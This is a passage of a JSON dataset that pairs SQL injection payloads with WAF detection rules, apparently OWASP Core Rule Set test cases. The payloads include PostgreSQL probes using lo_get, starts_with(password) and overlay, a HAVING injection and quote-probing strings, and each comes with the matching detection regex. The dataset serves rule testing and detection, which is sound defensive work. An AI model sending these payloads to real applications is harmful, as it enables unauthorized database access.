}, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942152", "test_description": "SQL injection in request header User-Agent" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "1%27%20and%20starts_with%28password%2C%5C%24%5C%24t%5C%24%5C%24%29%20and%20%27true" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|grees|s_(?:de|en)crypt)|ump)|e(?:lt|n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|object(?:_(?:agg|keys))?|e(?:ac|xtract_pat)h(?:_text)?|insert|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|e(?:as|f)t|i(?:kel(?:ihood|y)|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2)|wer)|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:(?:lyg|siti)on|w)|rocedure_analyse)|qu(?:arter|ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|pace|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp)|likely)|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942152", "test_description": "SQL injection in request header User-Agent" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "encode%28lo_get%2816200%29%2C%27base64%27%29%3A%3Aint" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|grees|s_(?:de|en)crypt)|ump)|e(?:lt|n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|object(?:_(?:agg|keys))?|e(?:ac|xtract_pat)h(?:_text)?|insert|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|e(?:as|f)t|i(?:kel(?:ihood|y)|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2)|wer)|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:(?:lyg|siti)on|w)|rocedure_analyse)|qu(?:arter|ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|pace|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp)|likely)|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942152", "test_description": "SQL injection in request header User-Agent" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "overlay(password placing $$$$ from 1)::int and id=1" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942321", "test_description": "Detects MySQL and PostgreSQL stored procedure/function injections" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%20HAVING%20COUNT%28CustomerID%29%20%3E%205" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\W+\\d*?\\s*?\\bhaving\\b\\s*?[^\\s\\-]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942251", "test_description": "Detects having injections: ' HAVING COUNT(CustomerID) > 5'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=having%20fun" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\W+\\d*?\\s*?\\bhaving\\b\\s*?[^\\s\\-]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942251", "test_description": "Detects having injections negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%22%60%20%2A%20123" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "' ', 10" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "'', '', '', '', '', '', '', '', 13" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "`>65" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay='1001'='10" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\"2562*23" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=\":[\"00" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=`>6fbdec2" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay='][0]]), strtolower($b[$GLOBALS['" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=', 2, 1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "`>9e7" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=\":\"65" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay='\\2nq5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=` < 0) AND `" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay='0:0:6" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\":60" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=\">%5 - type_submit_reset_5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\":35" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay='3085'='30" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\":\"[0,\\x22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay='16/17" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\";}7b6" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "[\\\"'`][\\s\\d]*?[^\\w\\s]\\W*?\\d\\W*?.*?[\\\"'`\\d]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942490", "test_description": "classic SQL injection probings 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=-------------------&var2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:[~!@#\\$%\\^&\\*\\(\\)\\-\\+=\\{\\}\\[\\]\\|:;\\\"'´’‘`<>][^~!@#\\$%\\^&\\*\\(\\)\\-\\+=\\{\\}\\[\\]\\|:;\\\"'´’‘`<>]*?){6})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "WARNING" }, "metadata": { "rule_id": "942431", "test_description": "Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=foo...." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "\\W{4}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-sqli" ], "severity": "WARNING" }, "metadata": { "rule_id": "942460", "test_description": "Repetitive Non-Word Characters" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": 